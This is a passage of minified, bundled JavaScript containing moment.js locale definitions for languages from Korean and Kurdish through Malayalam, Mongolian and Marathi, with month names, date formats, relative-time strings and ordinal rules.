LT",sameElse:"L"},relativeTime:{future:"%s ನಂತರ",past:"%s ಹಿಂದೆ",s:"ಕೆಲವು ಕ್ಷಣಗಳು",ss:"%d ಸೆಕೆಂಡುಗಳು",m:"ಒಂದು ನಿಮಿಷ",mm:"%d ನಿಮಿಷ",h:"ಒಂದು ಗಂಟೆ",hh:"%d ಗಂಟೆ",d:"ಒಂದು ದಿನ",dd:"%d ದಿನ",M:"ಒಂದು ತಿಂಗಳು",MM:"%d ತಿಂಗಳು",y:"ಒಂದು ವರ್ಷ",yy:"%d ವರ್ಷ"},preparse:function(e){return e.replace(/[೧೨೩೪೫೬೭೮೯೦]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/ರಾತ್ರಿ|ಬೆಳಿಗ್ಗೆ|ಮಧ್ಯಾಹ್ನ|ಸಂಜೆ/,meridiemHour:function(e,t){return 12===e&&(e=0),"ರಾತ್ರಿ"===t?e<4?e:e+12:"ಬೆಳಿಗ್ಗೆ"===t?e:"ಮಧ್ಯಾಹ್ನ"===t?e>=10?e:e+12:"ಸಂಜೆ"===t?e+12:void 0},meridiem:function(e,t,n){return e<4?"ರಾತ್ರಿ":e<10?"ಬೆಳಿಗ್ಗೆ":e<17?"ಮಧ್ಯಾಹ್ನ":e<20?"ಸಂಜೆ":"ರಾತ್ರಿ"},dayOfMonthOrdinalParse:/\d{1,2}(ನೇ)/,ordinal:function(e){return e+"ನೇ"},week:{dow:0,doy:6}})}(n(30381))},33730:function(e,t,n){!function(e){"use strict";e.defineLocale("ko",{months:"1월_2월_3월_4월_5월_6월_7월_8월_9월_10월_11월_12월".split("_"),monthsShort:"1월_2월_3월_4월_5월_6월_7월_8월_9월_10월_11월_12월".split("_"),weekdays:"일요일_월요일_화요일_수요일_목요일_금요일_토요일".split("_"),weekdaysShort:"일_월_화_수_목_금_토".split("_"),weekdaysMin:"일_월_화_수_목_금_토".split("_"),longDateFormat:{LT:"A h:mm",LTS:"A h:mm:ss",L:"YYYY.MM.DD.",LL:"YYYY년 MMMM D일",LLL:"YYYY년 MMMM D일 A h:mm",LLLL:"YYYY년 MMMM D일 dddd A h:mm",l:"YYYY.MM.DD.",ll:"YYYY년 MMMM D일",lll:"YYYY년 MMMM D일 A h:mm",llll:"YYYY년 MMMM D일 dddd A h:mm"},calendar:{sameDay:"오늘 LT",nextDay:"내일 LT",nextWeek:"dddd LT",lastDay:"어제 LT",lastWeek:"지난주 dddd LT",sameElse:"L"},relativeTime:{future:"%s 후",past:"%s 전",s:"몇 초",ss:"%d초",m:"1분",mm:"%d분",h:"한 시간",hh:"%d시간",d:"하루",dd:"%d일",M:"한 달",MM:"%d달",y:"일 년",yy:"%d년"},dayOfMonthOrdinalParse:/\d{1,2}(일|월|주)/,ordinal:function(e,t){switch(t){case"d":case"D":case"DDD":return e+"일";case"M":return e+"월";case"w":case"W":return e+"주";default:return e}},meridiemParse:/오전|오후/,isPM:function(e){return"오후"===e},meridiem:function(e,t,n){return e<12?"오전":"오후"}})}(n(30381))},1408:function(e,t,n){!function(e){"use strict";var t={1:"١",2:"٢",3:"٣",4:"٤",5:"٥",6:"٦",7:"٧",8:"٨",9:"٩",0:"٠"},n={"١":"1","٢":"2","٣":"3","٤":"4","٥":"5","٦":"6","٧":"7","٨":"8","٩":"9","٠":"0"},a=["کانونی دووەم","شوبات","ئازار","نیسان","ئایار","حوزەیران","تەمموز","ئاب","ئەیلوول","تشرینی یەكەم","تشرینی دووەم","كانونی یەکەم"];e.defineLocale("ku",{months:a,monthsShort:a,weekdays:"یه‌كشه‌ممه‌_دووشه‌ممه‌_سێشه‌ممه‌_چوارشه‌ممه‌_پێنجشه‌ممه‌_هه‌ینی_شه‌ممه‌".split("_"),weekdaysShort:"یه‌كشه‌م_دووشه‌م_سێشه‌م_چوارشه‌م_پێنجشه‌م_هه‌ینی_شه‌ممه‌".split("_"),weekdaysMin:"ی_د_س_چ_پ_ه_ش".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},meridiemParse:/ئێواره‌|به‌یانی/,isPM:function(e){return/ئێواره‌/.test(e)},meridiem:function(e,t,n){return e<12?"به‌یانی":"ئێواره‌"},calendar:{sameDay:"[ئه‌مرۆ كاتژمێر] LT",nextDay:"[به‌یانی كاتژمێر] LT",nextWeek:"dddd [كاتژمێر] LT",lastDay:"[دوێنێ كاتژمێر] LT",lastWeek:"dddd [كاتژمێر] LT",sameElse:"L"},relativeTime:{future:"له‌ %s",past:"%s",s:"چه‌ند چركه‌یه‌ك",ss:"چركه‌ %d",m:"یه‌ك خوله‌ك",mm:"%d خوله‌ك",h:"یه‌ك كاتژمێر",hh:"%d كاتژمێر",d:"یه‌ك ڕۆژ",dd:"%d ڕۆژ",M:"یه‌ك مانگ",MM:"%d مانگ",y:"یه‌ك ساڵ",yy:"%d ساڵ"},preparse:function(e){return e.replace(/[١٢٣٤٥٦٧٨٩٠]/g,(function(e){return n[e]})).replace(/،/g,",")},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]})).replace(/,/g,"،")},week:{dow:6,doy:12}})}(n(30381))},33291:function(e,t,n){!function(e){"use strict";var t={0:"-чү",1:"-чи",2:"-чи",3:"-чү",4:"-чү",5:"-чи",6:"-чы",7:"-чи",8:"-чи",9:"-чу",10:"-чу",20:"-чы",30:"-чу",40:"-чы",50:"-чү",60:"-чы",70:"-чи",80:"-чи",90:"-чу",100:"-чү"};e.defineLocale("ky",{months:"январь_февраль_март_апрель_май_июнь_июль_август_сентябрь_октябрь_ноябрь_декабрь".split("_"),monthsShort:"янв_фев_март_апр_май_июнь_июль_авг_сен_окт_ноя_дек".split("_"),weekdays:"Жекшемби_Дүйшөмбү_Шейшемби_Шаршемби_Бейшемби_Жума_Ишемби".split("_"),weekdaysShort:"Жек_Дүй_Шей_Шар_Бей_Жум_Ише".split("_"),weekdaysMin:"Жк_Дй_Шй_Шр_Бй_Жм_Иш".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Бүгүн саат] LT",nextDay:"[Эртең саат] LT",nextWeek:"dddd [саат] LT",lastDay:"[Кечээ саат] LT",lastWeek:"[Өткөн аптанын] dddd [күнү] [саат] LT",sameElse:"L"},relativeTime:{future:"%s ичинде",past:"%s мурун",s:"бирнече секунд",ss:"%d секунд",m:"бир мүнөт",mm:"%d мүнөт",h:"бир саат",hh:"%d саат",d:"бир күн",dd:"%d күн",M:"бир ай",MM:"%d ай",y:"бир жыл",yy:"%d жыл"},dayOfMonthOrdinalParse:/\d{1,2}-(чи|чы|чү|чу)/,ordinal:function(e){var n=e%10,a=e>=100?100:null;return e+(t[e]||t[n]||t[a])},week:{dow:1,doy:7}})}(n(30381))},36841:function(e,t,n){!function(e){"use strict";function t(e,t,n,a){var i={m:["eng Minutt","enger Minutt"],h:["eng Stonn","enger Stonn"],d:["een Dag","engem Dag"],M:["ee Mount","engem Mount"],y:["ee Joer","engem Joer"]};return t?i[n][0]:i[n][1]}function n(e){return i(e.substr(0,e.indexOf(" ")))?"a "+e:"an "+e}function a(e){return i(e.substr(0,e.indexOf(" ")))?"viru "+e:"virun "+e}function i(e){if(e=parseInt(e,10),isNaN(e))return!1;if(e<0)return!0;if(e<10)return 4<=e&&e<=7;if(e<100){var t=e%10;return i(0===t?e/10:t)}if(e<1e4){for(;e>=10;)e/=10;return i(e)}return i(e/=1e3)}e.defineLocale("lb",{months:"Januar_Februar_Mäerz_Abrëll_Mee_Juni_Juli_August_September_Oktober_November_Dezember".split("_"),monthsShort:"Jan._Febr._Mrz._Abr._Mee_Jun._Jul._Aug._Sept._Okt._Nov._Dez.".split("_"),monthsParseExact:!0,weekdays:"Sonndeg_Méindeg_Dënschdeg_Mëttwoch_Donneschdeg_Freideg_Samschdeg".split("_"),weekdaysShort:"So._Mé._Dë._Më._Do._Fr._Sa.".split("_"),weekdaysMin:"So_Mé_Dë_Më_Do_Fr_Sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm [Auer]",LTS:"H:mm:ss [Auer]",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm [Auer]",LLLL:"dddd, D. MMMM YYYY H:mm [Auer]"},calendar:{sameDay:"[Haut um] LT",sameElse:"L",nextDay:"[Muer um] LT",nextWeek:"dddd [um] LT",lastDay:"[Gëschter um] LT",lastWeek:function(){switch(this.day()){case 2:case 4:return"[Leschten] dddd [um] LT";default:return"[Leschte] dddd [um] LT"}}},relativeTime:{future:n,past:a,s:"e puer Sekonnen",ss:"%d Sekonnen",m:t,mm:"%d Minutten",h:t,hh:"%d Stonnen",d:t,dd:"%d Deeg",M:t,MM:"%d Méint",y:t,yy:"%d Joer"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(30381))},55466:function(e,t,n){!function(e){"use strict";e.defineLocale("lo",{months:"ມັງກອນ_ກຸມພາ_ມີນາ_ເມສາ_ພຶດສະພາ_ມິຖຸນາ_ກໍລະກົດ_ສິງຫາ_ກັນຍາ_ຕຸລາ_ພະຈິກ_ທັນວາ".split("_"),monthsShort:"ມັງກອນ_ກຸມພາ_ມີນາ_ເມສາ_ພຶດສະພາ_ມິຖຸນາ_ກໍລະກົດ_ສິງຫາ_ກັນຍາ_ຕຸລາ_ພະຈິກ_ທັນວາ".split("_"),weekdays:"ອາທິດ_ຈັນ_ອັງຄານ_ພຸດ_ພະຫັດ_ສຸກ_ເສົາ".split("_"),weekdaysShort:"ທິດ_ຈັນ_ອັງຄານ_ພຸດ_ພະຫັດ_ສຸກ_ເສົາ".split("_"),weekdaysMin:"ທ_ຈ_ອຄ_ພ_ພຫ_ສກ_ສ".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"ວັນdddd D MMMM YYYY HH:mm"},meridiemParse:/ຕອນເຊົ້າ|ຕອນແລງ/,isPM:function(e){return"ຕອນແລງ"===e},meridiem:function(e,t,n){return e<12?"ຕອນເຊົ້າ":"ຕອນແລງ"},calendar:{sameDay:"[ມື້ນີ້ເວລາ] LT",nextDay:"[ມື້ອື່ນເວລາ] LT",nextWeek:"[ວັນ]dddd[ໜ້າເວລາ] LT",lastDay:"[ມື້ວານນີ້ເວລາ] LT",lastWeek:"[ວັນ]dddd[ແລ້ວນີ້ເວລາ] LT",sameElse:"L"},relativeTime:{future:"ອີກ %s",past:"%sຜ່ານມາ",s:"ບໍ່ເທົ່າໃດວິນາທີ",ss:"%d ວິນາທີ",m:"1 ນາທີ",mm:"%d ນາທີ",h:"1 ຊົ່ວໂມງ",hh:"%d ຊົ່ວໂມງ",d:"1 ມື້",dd:"%d ມື້",M:"1 ເດືອນ",MM:"%d ເດືອນ",y:"1 ປີ",yy:"%d ປີ"},dayOfMonthOrdinalParse:/(ທີ່)\d{1,2}/,ordinal:function(e){return"ທີ່"+e}})}(n(30381))},57010:function(e,t,n){!function(e){"use strict";var t={ss:"sekundė_sekundžių_sekundes",m:"minutė_minutės_minutę",mm:"minutės_minučių_minutes",h:"valanda_valandos_valandą",hh:"valandos_valandų_valandas",d:"diena_dienos_dieną",dd:"dienos_dienų_dienas",M:"mėnuo_mėnesio_mėnesį",MM:"mėnesiai_mėnesių_mėnesius",y:"metai_metų_metus",yy:"metai_metų_metus"};function n(e,t,n,a){return t?"kelios sekundės":a?"kelių sekundžių":"kelias sekundes"}function a(e,t,n,a){return t?r(n)[0]:a?r(n)[1]:r(n)[2]}function i(e){return e%10==0||e>10&&e<20}function r(e){return t[e].split("_")}function s(e,t,n,s){var o=e+" ";return 1===e?o+a(e,t,n[0],s):t?o+(i(e)?r(n)[1]:r(n)[0]):s?o+r(n)[1]:o+(i(e)?r(n)[1]:r(n)[2])}e.defineLocale("lt",{months:{format:"sausio_vasario_kovo_balandžio_gegužės_birželio_liepos_rugpjūčio_rugsėjo_spalio_lapkričio_gruodžio".split("_"),standalone:"sausis_vasaris_kovas_balandis_gegužė_birželis_liepa_rugpjūtis_rugsėjis_spalis_lapkritis_gruodis".split("_"),isFormat:/D[oD]?(\[[^\[\]]*\]|\s)+MMMM?|MMMM?(\[[^\[\]]*\]|\s)+D[oD]?/},monthsShort:"sau_vas_kov_bal_geg_bir_lie_rgp_rgs_spa_lap_grd".split("_"),weekdays:{format:"sekmadienį_pirmadienį_antradienį_trečiadienį_ketvirtadienį_penktadienį_šeštadienį".split("_"),standalone:"sekmadienis_pirmadienis_antradienis_trečiadienis_ketvirtadienis_penktadienis_šeštadienis".split("_"),isFormat:/dddd HH:mm/},weekdaysShort:"Sek_Pir_Ant_Tre_Ket_Pen_Šeš".split("_"),weekdaysMin:"S_P_A_T_K_Pn_Š".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"YYYY [m.] MMMM D [d.]",LLL:"YYYY [m.] MMMM D [d.], HH:mm [val.]",LLLL:"YYYY [m.] MMMM D [d.], dddd, HH:mm [val.]",l:"YYYY-MM-DD",ll:"YYYY [m.] MMMM D [d.]",lll:"YYYY [m.] MMMM D [d.], HH:mm [val.]",llll:"YYYY [m.] MMMM D [d.], ddd, HH:mm [val.]"},calendar:{sameDay:"[Šiandien] LT",nextDay:"[Rytoj] LT",nextWeek:"dddd LT",lastDay:"[Vakar] LT",lastWeek:"[Praėjusį] dddd LT",sameElse:"L"},relativeTime:{future:"po %s",past:"prieš %s",s:n,ss:s,m:a,mm:s,h:a,hh:s,d:a,dd:s,M:a,MM:s,y:a,yy:s},dayOfMonthOrdinalParse:/\d{1,2}-oji/,ordinal:function(e){return e+"-oji"},week:{dow:1,doy:4}})}(n(30381))},37595:function(e,t,n){!function(e){"use strict";var t={ss:"sekundes_sekundēm_sekunde_sekundes".split("_"),m:"minūtes_minūtēm_minūte_minūtes".split("_"),mm:"minūtes_minūtēm_minūte_minūtes".split("_"),h:"stundas_stundām_stunda_stundas".split("_"),hh:"stundas_stundām_stunda_stundas".split("_"),d:"dienas_dienām_diena_dienas".split("_"),dd:"dienas_dienām_diena_dienas".split("_"),M:"mēneša_mēnešiem_mēnesis_mēneši".split("_"),MM:"mēneša_mēnešiem_mēnesis_mēneši".split("_"),y:"gada_gadiem_gads_gadi".split("_"),yy:"gada_gadiem_gads_gadi".split("_")};function n(e,t,n){return n?t%10==1&&t%100!=11?e[2]:e[3]:t%10==1&&t%100!=11?e[0]:e[1]}function a(e,a,i){return e+" "+n(t[i],e,a)}function i(e,a,i){return n(t[i],e,a)}function r(e,t){return t?"dažas sekundes":"dažām sekundēm"}e.defineLocale("lv",{months:"janvāris_februāris_marts_aprīlis_maijs_jūnijs_jūlijs_augusts_septembris_oktobris_novembris_decembris".split("_"),monthsShort:"jan_feb_mar_apr_mai_jūn_jūl_aug_sep_okt_nov_dec".split("_"),weekdays:"svētdiena_pirmdiena_otrdiena_trešdiena_ceturtdiena_piektdiena_sestdiena".split("_"),weekdaysShort:"Sv_P_O_T_C_Pk_S".split("_"),weekdaysMin:"Sv_P_O_T_C_Pk_S".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY.",LL:"YYYY. [gada] D. MMMM",LLL:"YYYY. [gada] D. MMMM, HH:mm",LLLL:"YYYY. [gada] D. MMMM, dddd, HH:mm"},calendar:{sameDay:"[Šodien pulksten] LT",nextDay:"[Rīt pulksten] LT",nextWeek:"dddd [pulksten] LT",lastDay:"[Vakar pulksten] LT",lastWeek:"[Pagājušā] dddd [pulksten] LT",sameElse:"L"},relativeTime:{future:"pēc %s",past:"pirms %s",s:r,ss:a,m:i,mm:a,h:i,hh:a,d:i,dd:a,M:i,MM:a,y:i,yy:a},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(30381))},39861:function(e,t,n){!function(e){"use strict";var t={words:{ss:["sekund","sekunda","sekundi"],m:["jedan minut","jednog minuta"],mm:["minut","minuta","minuta"],h:["jedan sat","jednog sata"],hh:["sat","sata","sati"],dd:["dan","dana","dana"],MM:["mjesec","mjeseca","mjeseci"],yy:["godina","godine","godina"]},correctGrammaticalCase:function(e,t){return 1===e?t[0]:e>=2&&e<=4?t[1]:t[2]},translate:function(e,n,a){var i=t.words[a];return 1===a.length?n?i[0]:i[1]:e+" "+t.correctGrammaticalCase(e,i)}};e.defineLocale("me",{months:"januar_februar_mart_april_maj_jun_jul_avgust_septembar_oktobar_novembar_decembar".split("_"),monthsShort:"jan._feb._mar._apr._maj_jun_jul_avg._sep._okt._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"nedjelja_ponedjeljak_utorak_srijeda_četvrtak_petak_subota".split("_"),weekdaysShort:"ned._pon._uto._sri._čet._pet._sub.".split("_"),weekdaysMin:"ne_po_ut_sr_če_pe_su".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd, D. MMMM YYYY H:mm"},calendar:{sameDay:"[danas u] LT",nextDay:"[sjutra u] LT",nextWeek:function(){switch(this.day()){case 0:return"[u] [nedjelju] [u] LT";case 3:return"[u] [srijedu] [u] LT";case 6:return"[u] [subotu] [u] LT";case 1:case 2:case 4:case 5:return"[u] dddd [u] LT"}},lastDay:"[juče u] LT",lastWeek:function(){return["[prošle] [nedjelje] [u] LT","[prošlog] [ponedjeljka] [u] LT","[prošlog] [utorka] [u] LT","[prošle] [srijede] [u] LT","[prošlog] [četvrtka] [u] LT","[prošlog] [petka] [u] LT","[prošle] [subote] [u] LT"][this.day()]},sameElse:"L"},relativeTime:{future:"za %s",past:"prije %s",s:"nekoliko sekundi",ss:t.translate,m:t.translate,mm:t.translate,h:t.translate,hh:t.translate,d:"dan",dd:t.translate,M:"mjesec",MM:t.translate,y:"godinu",yy:t.translate},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(n(30381))},35493:function(e,t,n){!function(e){"use strict";e.defineLocale("mi",{months:"Kohi-tāte_Hui-tanguru_Poutū-te-rangi_Paenga-whāwhā_Haratua_Pipiri_Hōngoingoi_Here-turi-kōkā_Mahuru_Whiringa-ā-nuku_Whiringa-ā-rangi_Hakihea".split("_"),monthsShort:"Kohi_Hui_Pou_Pae_Hara_Pipi_Hōngoi_Here_Mahu_Whi-nu_Whi-ra_Haki".split("_"),monthsRegex:/(?:['a-z\u0101\u014D\u016B]+\-?){1,3}/i,monthsStrictRegex:/(?:['a-z\u0101\u014D\u016B]+\-?){1,3}/i,monthsShortRegex:/(?:['a-z\u0101\u014D\u016B]+\-?){1,3}/i,monthsShortStrictRegex:/(?:['a-z\u0101\u014D\u016B]+\-?){1,2}/i,weekdays:"Rātapu_Mane_Tūrei_Wenerei_Tāite_Paraire_Hātarei".split("_"),weekdaysShort:"Ta_Ma_Tū_We_Tāi_Pa_Hā".split("_"),weekdaysMin:"Ta_Ma_Tū_We_Tāi_Pa_Hā".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY [i] HH:mm",LLLL:"dddd, D MMMM YYYY [i] HH:mm"},calendar:{sameDay:"[i teie mahana, i] LT",nextDay:"[apopo i] LT",nextWeek:"dddd [i] LT",lastDay:"[inanahi i] LT",lastWeek:"dddd [whakamutunga i] LT",sameElse:"L"},relativeTime:{future:"i roto i %s",past:"%s i mua",s:"te hēkona ruarua",ss:"%d hēkona",m:"he meneti",mm:"%d meneti",h:"te haora",hh:"%d haora",d:"he ra",dd:"%d ra",M:"he marama",MM:"%d marama",y:"he tau",yy:"%d tau"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}(n(30381))},95966:function(e,t,n){!function(e){"use strict";e.defineLocale("mk",{months:"јануари_февруари_март_април_мај_јуни_јули_август_септември_октомври_ноември_декември".split("_"),monthsShort:"јан_фев_мар_апр_мај_јун_јул_авг_сеп_окт_ное_дек".split("_"),weekdays:"недела_понеделник_вторник_среда_четврток_петок_сабота".split("_"),weekdaysShort:"нед_пон_вто_сре_чет_пет_саб".split("_"),weekdaysMin:"нe_пo_вт_ср_че_пе_сa".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"D.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY H:mm",LLLL:"dddd, D MMMM YYYY H:mm"},calendar:{sameDay:"[Денес во] LT",nextDay:"[Утре во] LT",nextWeek:"[Во] dddd [во] LT",lastDay:"[Вчера во] LT",lastWeek:function(){switch(this.day()){case 0:case 3:case 6:return"[Изминатата] dddd [во] LT";case 1:case 2:case 4:case 5:return"[Изминатиот] dddd [во] LT"}},sameElse:"L"},relativeTime:{future:"за %s",past:"пред %s",s:"неколку секунди",ss:"%d секунди",m:"една минута",mm:"%d минути",h:"еден час",hh:"%d часа",d:"еден ден",dd:"%d дена",M:"еден месец",MM:"%d месеци",y:"една година",yy:"%d години"},dayOfMonthOrdinalParse:/\d{1,2}-(ев|ен|ти|ви|ри|ми)/,ordinal:function(e){var t=e%10,n=e%100;return 0===e?e+"-ев":0===n?e+"-ен":n>10&&n<20?e+"-ти":1===t?e+"-ви":2===t?e+"-ри":7===t||8===t?e+"-ми":e+"-ти"},week:{dow:1,doy:7}})}(n(30381))},87341:function(e,t,n){!function(e){"use strict";e.defineLocale("ml",{months:"ജനുവരി_ഫെബ്രുവരി_മാർച്ച്_ഏപ്രിൽ_മേയ്_ജൂൺ_ജൂലൈ_ഓഗസ്റ്റ്_സെപ്റ്റംബർ_ഒക്ടോബർ_നവംബർ_ഡിസംബർ".split("_"),monthsShort:"ജനു._ഫെബ്രു._മാർ._ഏപ്രി._മേയ്_ജൂൺ_ജൂലൈ._ഓഗ._സെപ്റ്റ._ഒക്ടോ._നവം._ഡിസം.".split("_"),monthsParseExact:!0,weekdays:"ഞായറാഴ്ച_തിങ്കളാഴ്ച_ചൊവ്വാഴ്ച_ബുധനാഴ്ച_വ്യാഴാഴ്ച_വെള്ളിയാഴ്ച_ശനിയാഴ്ച".split("_"),weekdaysShort:"ഞായർ_തിങ്കൾ_ചൊവ്വ_ബുധൻ_വ്യാഴം_വെള്ളി_ശനി".split("_"),weekdaysMin:"ഞാ_തി_ചൊ_ബു_വ്യാ_വെ_ശ".split("_"),longDateFormat:{LT:"A h:mm -നു",LTS:"A h:mm:ss -നു",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm -നു",LLLL:"dddd, D MMMM YYYY, A h:mm -നു"},calendar:{sameDay:"[ഇന്ന്] LT",nextDay:"[നാളെ] LT",nextWeek:"dddd, LT",lastDay:"[ഇന്നലെ] LT",lastWeek:"[കഴിഞ്ഞ] dddd, LT",sameElse:"L"},relativeTime:{future:"%s കഴിഞ്ഞ്",past:"%s മുൻപ്",s:"അൽപ നിമിഷങ്ങൾ",ss:"%d സെക്കൻഡ്",m:"ഒരു മിനിറ്റ്",mm:"%d മിനിറ്റ്",h:"ഒരു മണിക്കൂർ",hh:"%d മണിക്കൂർ",d:"ഒരു ദിവസം",dd:"%d ദിവസം",M:"ഒരു മാസം",MM:"%d മാസം",y:"ഒരു വർഷം",yy:"%d വർഷം"},meridiemParse:/രാത്രി|രാവിലെ|ഉച്ച കഴിഞ്ഞ്|വൈകുന്നേരം|രാത്രി/i,meridiemHour:function(e,t){return 12===e&&(e=0),"രാത്രി"===t&&e>=4||"ഉച്ച കഴിഞ്ഞ്"===t||"വൈകുന്നേരം"===t?e+12:e},meridiem:function(e,t,n){return e<4?"രാത്രി":e<12?"രാവിലെ":e<17?"ഉച്ച കഴിഞ്ഞ്":e<20?"വൈകുന്നേരം":"രാത്രി"}})}(n(30381))},5115:function(e,t,n){!function(e){"use strict";function t(e,t,n,a){switch(n){case"s":return t?"хэдхэн секунд":"хэдхэн секундын";case"ss":return e+(t?" секунд":" секундын");case"m":case"mm":return e+(t?" минут":" минутын");case"h":case"hh":return e+(t?" цаг":" цагийн");case"d":case"dd":return e+(t?" өдөр":" өдрийн");case"M":case"MM":return e+(t?" сар":" сарын");case"y":case"yy":return e+(t?" жил":" жилийн");default:return e}}e.defineLocale("mn",{months:"Нэгдүгээр сар_Хоёрдугаар сар_Гуравдугаар сар_Дөрөвдүгээр сар_Тавдугаар сар_Зургадугаар сар_Долдугаар сар_Наймдугаар сар_Есдүгээр сар_Аравдугаар сар_Арван нэгдүгээр сар_Арван хоёрдугаар сар".split("_"),monthsShort:"1 сар_2 сар_3 сар_4 сар_5 сар_6 сар_7 сар_8 сар_9 сар_10 сар_11 сар_12 сар".split("_"),monthsParseExact:!0,weekdays:"Ням_Даваа_Мягмар_Лхагва_Пүрэв_Баасан_Бямба".split("_"),weekdaysShort:"Ням_Дав_Мяг_Лха_Пүр_Баа_Бям".split("_"),weekdaysMin:"Ня_Да_Мя_Лх_Пү_Ба_Бя".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"YYYY оны MMMMын D",LLL:"YYYY оны MMMMын D HH:mm",LLLL:"dddd, YYYY оны MMMMын D HH:mm"},meridiemParse:/ҮӨ|ҮХ/i,isPM:function(e){return"ҮХ"===e},meridiem:function(e,t,n){return e<12?"ҮӨ":"ҮХ"},calendar:{sameDay:"[Өнөөдөр] LT",nextDay:"[Маргааш] LT",nextWeek:"[Ирэх] dddd LT",lastDay:"[Өчигдөр] LT",lastWeek:"[Өнгөрсөн] dddd LT",sameElse:"L"},relativeTime:{future:"%s дараа",past:"%s өмнө",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2} өдөр/,ordinal:function(e,t){switch(t){case"d":case"D":case"DDD":return e+" өдөр";default:return e}}})}(n(30381))},10370:function(e,t,n){!function(e){"use strict";var t={1:"१",2:"२",3:"३",4:"४",5:"५",6:"६",7:"७",8:"८",9:"९",0:"०"},n={"१":"1","२":"2","३":"3","४":"4","५":"5","६":"6","७":"7","८":"8","९":"9","०":"0"};function a(e,t,n,a){var i="";if(t)switch(n){case"s":i="काही सेकंद";break;case"ss":i="%d सेकंद";break;case"m":i="एक मिनिट";break;case"mm":i="%d मिनिटे";break;case"h":i="एक तास";break;case"hh":i="%d तास";break;case"d":i="एक दिवस";break;case"dd":i="%d दिवस";break;case"M":i="एक महिना";break;case"MM":i="%d महिने";break;case"y":i="एक वर्ष";break;case"yy":i="%d वर्षे"}else switch(n){case"s":i="काही सेकंदां";break;case"ss":i="%d सेकंदां";break;case"m":i="एका मिनिटा";break;case"mm":i="%d मिनिटां";break;case"h":i="एका तासा";break;case"hh":i="%d तासां";break;case"d":i="एका दिवसा";break;case"dd":i="%d दिवसां";break;case"M":i="एका महिन्या";break;case"MM":i="%d महिन्यां";break;case"y":i="एका वर्षा";break;case"yy":i="%d वर्षां"}return i.replace(/%d/i,e)}e.defineLocale("mr",{months:"जानेवारी_फेब्रुवारी_मार्च_एप्रिल_मे_जून_जुलै_ऑगस्ट_सप्टेंबर_ऑक्टोबर_नोव्हेंबर_डिसेंबर".split("_"),monthsShort:"जाने._फेब्रु._मार्च._एप्रि._मे._जून._जुलै._ऑग._सप्टें._ऑक्टो._नोव्हें._डिसें.".split("_"),monthsParseExact:!0,weekdays:"रविवार_सोमवार_मंगळवार_बुधवार_गुरूवार_शुक्रवार_शनिवार".split("_"),weekdaysShort:"रवि_सोम_मंगळ_बुध_गुरू_शुक्र_शनि".split("_"),weekdaysMin:"र_सो_मं_बु_गु_शु_श".split("_"),longDateFormat:{LT:"A h:mm वाजता",LTS:"A h:mm:ss वाजता",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm वाजता",LLLL:"dddd, D MMMM YYYY, A h:mm वाजता"},calendar:{sameDay:"[आज] LT",nextDay:"[उद्या] LT",nextWeek:"dddd, LT",lastDay:"[काल] LT",lastWeek:"[मागील] dddd, LT",sameElse:"L"},relativeTime:{future:"%sमध्ये",past:"%sपूर्वी",s:a,ss:a,m:a,mm:a,h:a,hh:a,d:a,dd:a,M:a,MM:a,y:a,yy:a},preparse:function(e){return e.replace(/[१२३४५६७८९०]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/पहाटे|सकाळी|दुपारी|सायंकाळी|रात्री/,meridiemHour:function(e,t){return 12===e&&(e=0),"पहाटे"===t||"सकाळी"===t?e:"दुपारी"===t||"सायंकाळी"===t||"रात्री"===t?e>=12?e:e+12:void 0},meridiem:function(e,t,n){return e>=0&&e<6?"पहाटे":e<12?"सकाळी":e<17?"दुपारी":e<20?"सायंकाळी":"रात्री"},week:{dow:0,doy:6}})}(n(30381))},41237:function(e,t,n){!function(e){"use 